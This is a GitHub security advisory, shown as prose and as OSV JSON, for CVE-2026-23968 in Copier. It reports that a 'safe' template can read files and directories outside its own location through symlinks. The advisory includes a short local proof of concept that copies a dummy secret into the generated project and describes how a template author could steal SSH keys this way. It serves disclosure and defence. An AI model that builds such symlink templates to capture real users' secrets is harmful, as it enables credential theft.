GHSA-XJHM-GP88-8PFX

Vulnerability from github – Published: 2026-01-21 22:08 – Updated: 2026-01-22 15:40
VLAI?
Summary
Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false
Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    ```shell echo "s3cr3t" > secret.txt

    mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd

    uvx copier copy src/ dst/

    cat dst/stolen-secret.txt

    s3cr3t

    ```

  • Illegally include a directory in the generated project via symlink resolution:

    ```shell mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd

    mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd

    uvx copier copy src/ dst/

    tree dst/

    dst/

    └── stolen-secrets

    └── secret.txt

    1 directory, 1 file

    cat dst/stolen-secrets/secret.txt

    s3cr3t

    ```

Patches

n/a

Workarounds

n/a

References

n/a

Severity ?
6.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T22:08:48Z",
    "nvd_published_at": "2026-01-21T23:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier\u0027s default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n\n    mkdir src/\n    pushd src/\n    ln -s ../secret.txt stolen-secret.txt\n    popd\n\n    uvx copier copy src/ dst/\n\n    cat dst/stolen-secret.txt\n    #s3cr3t\n    ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n    ```shell\n    mkdir secrets/\n    pushd secrets/\n    echo \"s3cr3t\" \u003e secret.txt\n    popd\n\n    mkdir src/\n    pushd src/\n    ln -s ../secrets stolen-secrets\n    popd\n\n    uvx copier copy src/ dst/\n\n    tree dst/\n    # dst/\n    # \u2514\u2500\u2500 stolen-secrets\n    #     \u2514\u2500\u2500 secret.txt\n    #\n    # 1 directory, 1 file\n    cat dst/stolen-secrets/secret.txt\n    # s3cr3t\n    ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
  "id": "GHSA-xjhm-gp88-8pfx",
  "modified": "2026-01-22T15:40:06Z",
  "published": "2026-01-21T22:08:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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